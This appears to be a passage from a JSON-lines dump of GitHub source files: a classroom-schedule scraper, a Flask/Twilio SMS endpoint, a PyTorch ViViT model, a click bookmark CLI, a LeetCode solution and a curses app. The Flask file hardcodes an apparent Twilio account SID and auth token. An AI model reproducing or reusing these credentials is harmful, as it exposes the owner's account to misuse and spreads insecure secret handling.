\"//body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[2]/td[4]/text()\",\n                    \"//body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[2]/td[5]/text()\",\n                    \"//body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[2]/td[6]/text()\",\n                    #下午1、2节\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[3]/td[2]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[3]/td[3]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[3]/td[4]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[3]/td[5]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[3]/td[6]/text()\",\n                    #下午3、4节\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[4]/td[2]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[4]/td[3]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[4]/td[4]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[4]/td[5]/text()\",\n                    \"/html[1]/body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[4]/td[6]/text()\"]\n    \n  #生成当前教学楼所有教室的url池，以便下一步爬取\n  def creatUrlPool(self, roomNumSelect):\n      # url池:存放需要遍历的url \n      urlPool = []        \n      if roomNumSelect is self.classRoomNumZhuJian:\n          for roomNum in roomNumSelect:\n              # 铸剑楼拼接字符串\n              urlPool.append(\"{}?{}&jxcdmc=%27%CD%C5%D6%FD%BD%A3%C2%A5{}%27\".format(self.baseUrl, parse.urlencode(self.urlDic), roomNum))\n      elif roomNumSelect is self.classRoomNumZhong:\n          for roomNum in roomNumSelect:\n              # 中楼拼接字符串\n              urlPool.append(\"{}?{}&jxcdmc=%27%CD%C5%D3%FD%BE%AF%D6%D0%C2%A5{}%27\".format(self.baseUrl, parse.urlencode(self.urlDic), roomNum))\n      elif roomNumSelect is self.classRoomNumXi:\n          for roomNum in roomNumSelect:\n              # 西配楼拼接字符串\n              urlPool.append(\"{}?{}&jxcdmc=%27%CD%C5%D3%FD%BE%AF%CE%F7%C2%A5{}%27\".format(self.baseUrl, parse.urlencode(self.urlDic), roomNum))\n      return urlPool\n\n  def RegStr(self, string):\n      Reg1 = r'\\d-\\d\\d'\n      Reg2 = r'\\d-\\d'\n      if re.search(Reg1,string) is None:\n          it = re.search(Reg2,string)\n      else:\n          it = re.search(Reg1,string)\n\n      numberList = str(it.group()).split('-')\n      for i in range(len(numberList)):\n        numberList[i] = int(numberList[i])\n      \n      #若有课，返回1；无课，返回0\n      return 1 if self.week in Interval(numberList[0],numberList[1]) else 0\n\n\n  #开始爬取\n  def getResponse(self, roomNumSelect):\n      am12, am34, pm12, pm34 = [], [], [], []\n      urlPool = self.creatUrlPool(roomNumSelect)\n      \n      if roomNumSelect is self.classRoomNumZhuJian:\n          roomSelect = \"zhuJian\"\n      elif roomNumSelect is self.classRoomNumZhong:\n          roomSelect = \"zhongLou\"\n      elif roomNumSelect is self.classRoomNumXi:\n          roomSelect = \"XiPei\"\n\n      for classRoomIndex,url in enumerate(urlPool):\n          with requests.get(url,headers={'User-agent':self.ua}) as response:\n              # 要设置响应包的编码格式为gbk，不然会乱码！！！\n              response.encoding = \"gbk\"\n              content = response.text #HTML内容\n              htmlContent = etree.HTML(content)\n\n              count = 0\n              for path in self.pathPool:\n                  pathTemp = htmlContent.xpath(path)\n                  count+=1\n                  pathFlag = 1#默认置1\n\n                  #检测文本\n                  if len(pathTemp)==0:\n                    # 如果该节点中长度为0，则说明没有课。\n                      pathFlag=0\n                  else:\n                    # 长度不为0，说明有课。结合具体的教学周，查询本教室当前教学周是否有课\n                      pathTemp = max(pathTemp, key=len, default='')\n                      pathFlag = self.RegStr(pathTemp)\n\n                  #结果检测完毕\n                  #append(0)为占位符,表示有课\n                  if count<=5:\n                      if pathFlag==0:\n                          # pathFlag为0，代表无课\n                          am12.append(int(roomNumSelect[classRoomIndex]))\n                      else:\n                          # pathFlag不为0，代表有课。向结果数组添加0，以示占位。\n                          am12.append(0)\n                  elif 5<count<=10:\n                      if pathFlag==0:\n                          am34.append(int(roomNumSelect[classRoomIndex]))\n                      else:\n                          am34.append(0)\n                  elif 10<count<=15:\n                      if pathFlag==0:\n                          pm12.append(int(roomNumSelect[classRoomIndex]))\n                      else:\n                          pm12.append(0)\n                  elif 15<count<=20:\n                      if pathFlag==0:\n                          pm34.append(int(roomNumSelect[classRoomIndex]))\n                      else:\n                          pm34.append(0)\n\n              # 调停课信息处理，当小于当前教学周时，不将其记录。\n              pathMobilize = \".//div[@class='row-fluid sortable'][2] \\\n                                /div[@class='box span12']/div[@class='box-content'] \\\n                                /table/tbody/tr\"\n              pathBorrow = \".//div[@class='row-fluid sortable'][3] \\\n                              /div[@class='box span12']/div[@class='box-content'] \\\n                              /table/tbody/tr\"\n              # 该数据列表的具体长度\n              mobilizeTimes = len(htmlContent.xpath(pathMobilize))\n              borrowTimes = len(htmlContent.xpath(pathBorrow))\n\n              # 开始处理调停课信息\n              # 1、需要记录数据如下：\n              for index in range(mobilizeTimes):\n                  pathContent = htmlContent.xpath(pathMobilize)[index]\n                  className = pathContent[4][0].xpath('string(.)') # 课程名字\n                  classes = pathContent[7].xpath('string(.)') # 调课类别\n                  oldDate = pathContent[8].xpath('string(.)') # 原上课日期\n                  oldTimes = pathContent[11].xpath('string(.)') # 原节次\n                  oldRoom = pathContent[12][0].xpath('string(.)') # 原教室\n                  newDate = '' # 置空\n                  newTimes = '' # 置空\n                  newRoom = '' # 置空\n\n                  if classes != '停课':\n                      # 原教学周索引为9，现教学周索引为15\n                      oldWeek = int(pathContent[9].xpath('string(.)'))\n                      newWeek = int(pathContent[15].xpath('string(.)'))\n                      # 检测原教学周与现教学周若早于当前教学周，直接跳过该组数据。\n                      if (self.week >= max(oldWeek,newWeek)): continue\n                      newDate = pathContent[14].xpath('string(.)') # 现上课日期\n                      newTimes = pathContent[17].xpath('string(.)') # 现节次\n                      newRoom = pathContent[18][0].xpath('string(.)') # 现教室\n                  self.mobilizeBorrowJsonText[\"mobilize\"][roomSelect][roomNumSelect[classRoomIndex]] \\\n                    .append( \\\n                        { 'className': className, \\\n                          'classes': classes, \\\n                          'oldDate': oldDate, \\\n                          'oldTimes': oldTimes, \\\n                          'oldRoom': oldRoom, \\\n                          'newDate': newDate, \\\n                          'newTimes': newTimes, \\\n                          'newRoom': newRoom } )\n\n              for index in range(borrowTimes):\n                  pathContent = htmlContent.xpath(pathBorrow)[index]\n                  if pathContent[11].xpath('string(.)') == '否': continue # 若借用申请未通过审核，则跳过。\n                  borrowDate = pathContent[4].xpath('string(.)') # 借用日期\n                  borrowTime = pathContent[5].xpath('string(.)') # 借用时间\n                  borrowReason = pathContent[6].xpath('string(.)') # 借用事由                      \n                  if ( (datetime.strptime(re.findall(r\"(.+?)（\",borrowDate)[0],'%Y-%m-%d') - datetime.today() ).days < 0 ): \n                    continue # 当借用日期已过期，则将其跳过。\n                  self.mobilizeBorrowJsonText[\"borrow\"][roomSelect][roomNumSelect[classRoomIndex]] \\\n                    .append( \\\n                        { 'borrowDate': borrowDate, \\\n                          'borrowTime': borrowTime, \\\n                          'borrowReason': borrowReason } )\n            # 将教室查询有无课结果写入classRoomDataJsonText变量中          \n      self.classRoomDataJsonText[roomSelect]['am12'].extend(am12)\n      self.classRoomDataJsonText[roomSelect]['am34'].extend(am34)\n      self.classRoomDataJsonText[roomSelect]['pm12'].extend(pm12)\n      self.classRoomDataJsonText[roomSelect]['pm34'].extend(pm34)\n\n  def init(self):\n      # roomList = [self.classRoomNumZhuJian] #测试用\n      roomList = [self.classRoomNumZhuJian, self.classRoomNumZhong, self.classRoomNumXi]\n      for roomNumSelect in roomList:\n          self.getResponse(roomNumSelect)    \n      # 将得到的数据保存为本地json文件\n      # jsondata = json.dumps(jsontext,indent=4,separators=(',', ': ')) # json格式美化写入（可选）\n\n      jsonName = \"classRoomData.json\"\n      jsondata = json.dumps(self.classRoomDataJsonText,separators=(',',':'))\n      writeFile = open(jsonName,'w', encoding='utf-8')\n      writeFile.write(jsondata)\n      writeFile.close()\n\n      jsonName = \"mobilizeBorrow.json\"\n      # 加入 ensure_ascii=False 选项。导出json文件不乱码\n      jsondata = json.dumps(self.mobilizeBorrowJsonText, ensure_ascii=False,separators=(',',':'))\n      writeFile = open(jsonName,'w', encoding='utf-8')\n      writeFile.write(jsondata)\n      writeFile.close()\n\n# 创建对象\n# 传入当前教学周。\nnewGet = netSpider(17)\n# 初始化，开始请求查询\nnewGet.init() ", "repo_name": "cicidoll/ppsucClassRoom", "sub_path": "spider/initNew.py", "file_name": "initNew.py", "file_ext": "py", "file_size_in_byte": 17914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 127, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 127, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 131, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 131, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 135, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 135, "usage_type": "name"}, {"api_name": "re.search", "line_number": 141, "usage_type": "call"}, {"api_name": "re.search", "line_number": 142, "usage_type": "call"}, {"api_name": "re.search", "line_number": 144, "usage_type": "call"}, {"api_name": "interval.Interval", "line_number": 151, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 167, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 171, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 171, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 263, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 263, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 285, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 292, "usage_type": "call"}]}
{"seq_id": "6513444530", "text": "from flask import Flask, request\nfrom flask_jsonpify import jsonify\nfrom flask_restful import Resource, Api\n\nfrom twilio.rest import Client\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import Column, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\napp = Flask(__name__)\napi = Api(app)\n\n# Twilio\naccount_sid = 'AC97e6c9c31b3524bb4e8ee5dfbc4a17b6'\nauth_token = '7afa61880a41c451ddeedd378bbd6b69'\nclient = Client(account_sid, auth_token)\n\n# class User(Resource):\n#     @app.route('/users/get')\n#     def get() :\n#         if (request.args.get('id')) :\n#             # \n#         else :\n#             return False\n\n#     @app.route('/users/post')\n#     def post():\n#         # \n\n#     @app.route('/users/put')\n#     def put():\n#         if (request.args.get('id')) :\n#             # \n#         else :\n#             return False\n\n#     @app.route('/users/delete')\n#     def delete():\n#         if (request.args.get('id')) :\n#             # \n#         else :\n#             return False\n\n\n\n\n\n\nclass Twilio(Resource):\n    @app.route('/send_sms')\n    def send_sms():\n        if(request.args.get('number')):\n            number = request.args.get('number') \n            number = number[1:]\n            number = '+92' + number\n            print(number)\n            message = client.messages \\\n                .create(\n                    body=\"\\nIsmail's API BITCHES 2!!!\",\n                    #  messaging_service_sid='MGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',\n                    from_='+16467603049',\n                    to=number\n                )\n            return {'message_sid' : message.sid}\n        \n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n", "repo_name": "ismailfarooq1/emergency_app_api", "sub_path": "emergency_app_api/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1711, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 13, "usage_type": "call"}, {"api_name": "twilio.rest.Client", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "69905943625", "text": "#    Spark\nfrom pyspark import SparkContext\n#    Spark Streaming\nfrom pyspark.streaming import StreamingContext\n#    Kafka\nfrom pyspark.streaming.kafka import KafkaUtils\n#    json parsing\nimport json\n\nsc = SparkContext(appName=\"spark2\")\nsc.setLogLevel(\"WARN\")\n\nairVelocityKMPH = [12,13,15,12,11,12,11]\nparVelocityKMPH = sc.parallelize(airVelocityKMPH,2)\n\ncountValue =  parVelocityKMPH.count()\n\nsumValue = parVelocityKMPH.sum()\n\nmeanValue = parVelocityKMPH.mean()\n\nvarianceValue = parVelocityKMPH.variance()\n\nsampleVarianceValue =  parVelocityKMPH.sampleVariance()\n\nstdevValue = parVelocityKMPH.stdev()\n\nsampleStdevValue = parVelocityKMPH.sampleStdev()\n\nparVelocityKMPH.stats().asDict()\n\nparVelocityKMPH.stats().mean()\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "antrad1978/bigdata", "sub_path": "PySpark/spark3.py", "file_name": "spark3.py", "file_ext": "py", "file_size_in_byte": 730, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.SparkContext", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "14166115236", "text": "from bitsandbytes.nn import Linear4bit\nfrom torch.nn import Linear\nimport torch\nimport torch.nn as nn\nfrom transformers import VivitImageProcessor, VivitModel, VivitForVideoClassification\nfrom transformers.modeling_outputs import ImageClassifierOutput\n        \n\nclass Swappable(nn.Module):\n    \n    def __init__(self, named_layers: dict[str, nn.Module]):\n        super().__init__()\n        self.named_layers = named_layers\n        self._named_layers = nn.ModuleList(named_layers.values())\n    \n    def forward(self, x, name):\n        return self.named_layers[name](x)\n\ndef pad_to_nearest_multiple(tensor, target_multiple):\n    \"\"\"Pads a tensor to the nearest multiple along the second dimension.\n    \n    Args:\n        tensor (torch.Tensor): Input tensor to pad.\n        target_multiple (int): The target multiple to pad the second dimension to.\n        \n    Returns:\n        torch.Tensor: Padded tensor.\n    \"\"\"\n    batch_size, seq_len, hidden_size = tensor.size()\n    \n    # Calculate the padding size needed to reach the nearest multiple\n    padding_size = (target_multiple - (seq_len % target_multiple)) % target_multiple\n    \n    # Calculate the padding for the left and right sides\n    left_padding = padding_size // 2\n    right_padding = padding_size - left_padding\n    \n    # Create padding tuple\n    padding_tuple = (0, 0, left_padding, right_padding)\n    \n    # Apply padding\n    padded_tensor = torch.nn.functional.pad(tensor, padding_tuple, 'constant', 0)\n    \n    return padded_tensor\n\nclass Reducer(nn.Module):\n    \n    def __init__(self, input_seq_len=3137, target_seq_len=32, hidden_dim=768):\n        super().__init__()\n        self.target_seq_len = target_seq_len\n        padded_len = input_seq_len if input_seq_len % target_seq_len  == 0 else (input_seq_len // target_seq_len + 1) * 32\n        stride = padded_len // target_seq_len\n        kernel_size = stride\n        self.conv1d = nn.Conv1d(hidden_dim, hidden_dim, kernel_size, stride=stride)\n        self.relu = nn.ReLU()\n    \n    def forward(self, x):\n        '''\n        x has size batch_size x seq_len x hidden_dim\n        '''\n        x = pad_to_nearest_multiple(x, self.target_seq_len)\n        print('x', x)\n        x = x.permute(0, 2, 1)\n        x = self.relu(x)\n        x = self.conv1d(x)\n        x = self.relu(x)\n        x = x.permute(0, 2, 1)\n        return x\n\nclass ReducerClassifier(nn.Module):\n    \n    def __init__(self, out_dim, input_seq_len=3137, target_seq_len=32, hidden_dim=768):\n        super().__init__()\n        self.reducer = Reducer(input_seq_len=input_seq_len, target_seq_len=target_seq_len, hidden_dim=hidden_dim)\n        self.linear = Linear(hidden_dim, out_dim)\n        \n    def forward(self, x):\n        x = self.reducer(x)\n        x = self.linear(x)\n        return x\n    \n    \nclass SensoriumVivitForVideoClassification(VivitForVideoClassification):\n    \n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        # self.reducer = Re\n        self.reducer = Reducer()\n    \n    def forward(\n        self,\n        pixel_values=None,\n        mouse=None,\n        inputs_embeds=None,\n        input_ids=None,\n        attention_mask=None,\n        head_mask=None,\n        labels=None,\n        output_attentions=None,\n        output_hidden_states=None,\n        return_dict=None,\n    ):\n        return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n        outputs = self.vivit(\n            pixel_values,\n            head_mask=head_mask,\n            output_attentions=output_attentions,\n            output_hidden_states=output_hidden_states,\n            return_dict=return_dict,\n        )\n\n#         sequence_output = outputs[0]\n\n#         logits = self.classifier(sequence_output[:, 0, :])\n        print('last hidden', outputs.last_hidden_state)\n\n        reduced = self.reducer(outputs.last_hidden_state)\n        print('reduced', reduced)\n\n        logits = self.classifier(reduced, mouse)\n        print('logits', logits)\n        \n\n        loss = None\n        if labels is not None:\n            if self.num_labels == 1:\n                #  We are doing regression\n                loss_fct = MSELoss()\n                loss = loss_fct(logits.view(-1), labels.view(-1))\n            else:\n                loss_fct = CrossEntropyLoss()\n                loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))\n\n        if not return_dict:\n            output = (logits,) + outputs[2:]\n            return ((loss,) + output) if loss is not None else output\n\n        return ImageClassifierOutput(\n            loss=loss,\n            logits=logits,\n            hidden_states=outputs.hidden_states,\n            attentions=outputs.attentions,\n        )", "repo_name": "mcorgi/dynamic-stimuli-prediction-model", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.functional.pad", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 75, "usage_type": "call"}, {"api_name": "transformers.VivitForVideoClassification", "line_number": 83, "usage_type": "name"}, {"api_name": "transformers.modeling_outputs.ImageClassifierOutput", "line_number": 139, "usage_type": "call"}]}
{"seq_id": "43499448714", "text": "import click\n\nfrom main.src.backend.exceptions import TakenTagError, TagNotFoundError\nfrom main.src.backend.handlers import add_handler, rm_handler, update_handler\nfrom main.src.ui.types import Url, Tag, DateTime\nfrom main.src.backend.callbacks import rm_all, list_all, list_tags, pretty\n\n\n@click.group()\n@click.help_option(\"--help\", \"-h\")\n@click.option(\n    \"--list\",\n    \"-l\",\n    is_flag=True,\n    is_eager=True,\n    expose_value=False,\n    help=\"List all available sites.\",\n    callback=list_all,\n)\n@click.option(\n    \"--pretty\",\n    \"-p\",\n    is_flag=True,\n    is_eager=True,\n    expose_value=False,\n    help=\"Beautify the output.\",\n    callback=pretty,\n)\n@click.option(\n    \"--tags\",\n    \"-t\",\n    is_flag=True,\n    is_eager=True,\n    expose_value=False,\n    help=\"List site's tag only.\",\n    callback=list_tags,\n)\n@click.version_option(version=\"1.0.0\")\ndef site_manager():\n    \"\"\"A Lightweight in-console bookmarking tool for a personal use.\"\"\"\n    pass\n\n\n@site_manager.command()\n@click.help_option(\"--help\", \"-h\")\n@click.option(\"--date\", \"-D\", help=\"Add site's Visiting Date.\", type=DateTime)\n@click.option(\n    \"--description\",\n    \"-d\",\n    help=\"Add a short description of the site purpose.\",\n    type=click.types.STRING,\n)\n@click.argument(\"url\", type=Url)\n@click.option(\"--tag\", \"-t\", help=\"Tag the site.\", type=Tag)\ndef add(tag, description, date, url):\n    \"\"\"Add  a new site.\"\"\"\n    try:\n        add_handler(tag, description, url, date)\n        click.echo(click.style(\"Successfully added!\", fg=\"green\"))\n    except TakenTagError as e:\n        click.echo(f\"{e.message}\")\n\n\n@site_manager.command()\n@click.option(\n    \"--all\",\n    \"-a\",\n    is_flag=True,\n    is_eager=True,\n    expose_value=False,\n    help=\"Delete all available sites.\",\n    callback=rm_all,\n)\n@click.help_option(\"--help\", \"-h\")\n@click.argument(\"tag\", type=Tag)\ndef rm(tag):\n    \"\"\"Remove a site.\"\"\"\n    click.confirm(\"Are you sure you want to delete this site ?\", abort=True)\n    try:\n        rm_handler(tag)\n        click.echo(click.style(\"Deleted Successfully!\", fg=\"red\"))\n    except TagNotFoundError as e:\n        click.echo(f\"{e.message}\")\n\n\n@site_manager.command()\n@click.help_option(\"--help\", \"-h\")\n@click.option(\n    \"--date\", \"-D\", help=\"Add an updated site's Visiting Date.\", type=DateTime\n)\n@click.option(\n    \"--description\",\n    \"-d\",\n    help=\"Add an updated description of the site purpose.\",\n    type=click.types.STRING,\n)\n@click.option(\"--new-tag\", \"-t\", help=\" Add an updated tag of the site.\", type=Tag)\n@click.option(\"--url\", \"-u\", help=\"Add an updated site url.\", type=Url)\n@click.argument(\"tag\", type=Tag)\ndef update(tag, new_tag, url, description, date):\n    \"\"\"Update a site.\"\"\"\n    try:\n        update_handler(tag, description, url, date, new_tag)\n        click.echo(click.style(\"Updated Successfully!\", fg=\"green\"))\n    except TakenTagError as e:\n        click.echo(e.message)\n    except TagNotFoundError as e:\n        click.echo(e.message)\n", "repo_name": "aristidebm/sitemgr", "sub_path": "main/src/ui/commands.py", "file_name": "commands.py", "file_ext": "py", "file_size_in_byte": 2947, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "click.group", "line_number": 9, "usage_type": "call"}, {"api_name": "click.help_option", "line_number": 10, "usage_type": "call"}, {"api_name": "click.option", "line_number": 11, "usage_type": "call"}, {"api_name": "main.src.backend.callbacks.list_all", "line_number": 18, "usage_type": "name"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "main.src.backend.callbacks.pretty", "line_number": 27, "usage_type": "name"}, {"api_name": "click.option", "line_number": 29, "usage_type": "call"}, {"api_name": "main.src.backend.callbacks.list_tags", "line_number": 36, "usage_type": "name"}, {"api_name": "click.version_option", "line_number": 38, "usage_type": "call"}, {"api_name": "main.src.backend.handlers.add_handler", "line_number": 58, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 59, "usage_type": "call"}, {"api_name": "click.style", "line_number": 59, "usage_type": "call"}, {"api_name": "main.src.backend.exceptions.TakenTagError", "line_number": 60, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 61, "usage_type": "call"}, {"api_name": "click.help_option", "line_number": 45, "usage_type": "call"}, {"api_name": "click.option", "line_number": 46, "usage_type": "call"}, {"api_name": "main.src.ui.types.DateTime", "line_number": 46, "usage_type": "name"}, {"api_name": "click.option", "line_number": 47, "usage_type": "call"}, {"api_name": "click.types", "line_number": 51, "usage_type": "attribute"}, {"api_name": "click.argument", "line_number": 53, "usage_type": "call"}, {"api_name": "main.src.ui.types.Url", "line_number": 53, "usage_type": "name"}, {"api_name": "click.option", "line_number": 54, "usage_type": "call"}, {"api_name": "main.src.ui.types.Tag", "line_number": 54, "usage_type": "name"}, {"api_name": "click.confirm", "line_number": 78, "usage_type": "call"}, {"api_name": "main.src.backend.handlers.rm_handler", "line_number": 80, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 81, "usage_type": "call"}, {"api_name": "click.style", "line_number": 81, "usage_type": "call"}, {"api_name": "main.src.backend.exceptions.TagNotFoundError", "line_number": 82, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 83, "usage_type": "call"}, {"api_name": "click.option", "line_number": 65, "usage_type": "call"}, {"api_name": "main.src.backend.callbacks.rm_all", "line_number": 72, "usage_type": "name"}, {"api_name": "click.help_option", "line_number": 74, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 75, "usage_type": "call"}, {"api_name": "main.src.ui.types.Tag", "line_number": 75, "usage_type": "name"}, {"api_name": "main.src.backend.handlers.update_handler", "line_number": 103, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 104, "usage_type": "call"}, {"api_name": "click.style", "line_number": 104, "usage_type": "call"}, {"api_name": "main.src.backend.exceptions.TakenTagError", "line_number": 105, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 106, "usage_type": "call"}, {"api_name": "main.src.backend.exceptions.TagNotFoundError", "line_number": 107, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 108, "usage_type": "call"}, {"api_name": "click.help_option", "line_number": 87, "usage_type": "call"}, {"api_name": "click.option", "line_number": 88, "usage_type": "call"}, {"api_name": "main.src.ui.types.DateTime", "line_number": 89, "usage_type": "name"}, {"api_name": "click.option", "line_number": 91, "usage_type": "call"}, {"api_name": "click.types", "line_number": 95, "usage_type": "attribute"}, {"api_name": "click.option", "line_number": 97, "usage_type": "call"}, {"api_name": "main.src.ui.types.Tag", "line_number": 97, "usage_type": "name"}, {"api_name": "click.option", "line_number": 98, "usage_type": "call"}, {"api_name": "main.src.ui.types.Url", "line_number": 98, "usage_type": "name"}, {"api_name": "click.argument", "line_number": 99, "usage_type": "call"}, {"api_name": "main.src.ui.types.Tag", "line_number": 99, "usage_type": "name"}]}
{"seq_id": "3268056195", "text": "class Solution:\n    def connect(self, root):\n        if root is None:\n            return None\n\n        from collections import deque\n        q = deque([root])\n\n        while q:\n            level_size = len(q)\n            level = []\n            for _ in range(level_size):\n                node = q.popleft()\n                level.append(node)\n                if node.left:\n                    q.append(node.left)\n                if node.right:\n                    q.append(node.right)\n            \n            for i in range(len(level) - 1):\n                level[i].next = level[i+1]\n        \n        return root", "repo_name": "Dillettant/leetcode", "sub_path": "solutions/117.py", "file_name": "117.py", "file_ext": "py", "file_size_in_byte": 612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "9170074906", "text": "\"\"\"EAF application implementation with curses support.\"\"\"\n\nfrom typing import Optional\n\nimport eaf.app\n\nfrom xo1.window import create_window, deinit_window\nfrom xo1.color import Palette\nfrom xo1.render import Renderer\n\n\nclass Application(eaf.app.Application):\n    \"\"\"Curses-powered application class.\"\"\"\n\n    def __init__(\n        self, x, y, palette: Optional[Palette] = None, title: str = \"xo1 application\"\n    ):\n        window = create_window(x, y, init=True)\n        renderer = Renderer(window)\n\n        super().__init__(renderer, window)\n\n        self._palette = palette or Palette()\n        self._palette.init_colors()\n\n        self.set_caption(title)\n\n    def set_caption(self, caption):\n        \"\"\"Set window caption.\n\n        This is very hacky workaround, curses doesn't know that terminal state\n        changed. Not all terminals support this.\n\n        .. NOTE:: application doesn't revert title back, maybe later will be\n                  implemented.\n        \"\"\"\n\n        print(f\"\\x1b]0;{caption}\\x07\")\n\n    def tick(self):\n        \"\"\"Handle `Ctrl C` gracefully.\"\"\"\n\n        try:\n            super().tick()\n        except KeyboardInterrupt:\n            self.stop()\n\n    def stop(self):\n        \"\"\"Return terminal state back.\"\"\"\n\n        def deinit_curses():\n            self.renderer.clear()\n            deinit_window(self.renderer.screen)\n\n        self._ioloop.add_callback(deinit_curses)\n        super().stop()\n\n    @property\n    def palette(self) -> Palette:\n        \"\"\"Palette getter.\"\"\"\n\n        return self._palette\n\n    @palette.setter\n    def palette(self, palette: Palette):\n        \"\"\"Palette setter.\"\"\"\n\n        if not isinstance(palette, Palette):\n            raise TypeError(f\"Expected Palette class, got {type(palette)}\")\n\n        self.palette = palette\n", "repo_name": "pkulev/xo1", "sub_path": "xo1/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "eaf.app.app", "line_number": 12, "usage_type": "attribute"}, {"api_name": "eaf.app", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 16, "usage_type": "name"}, 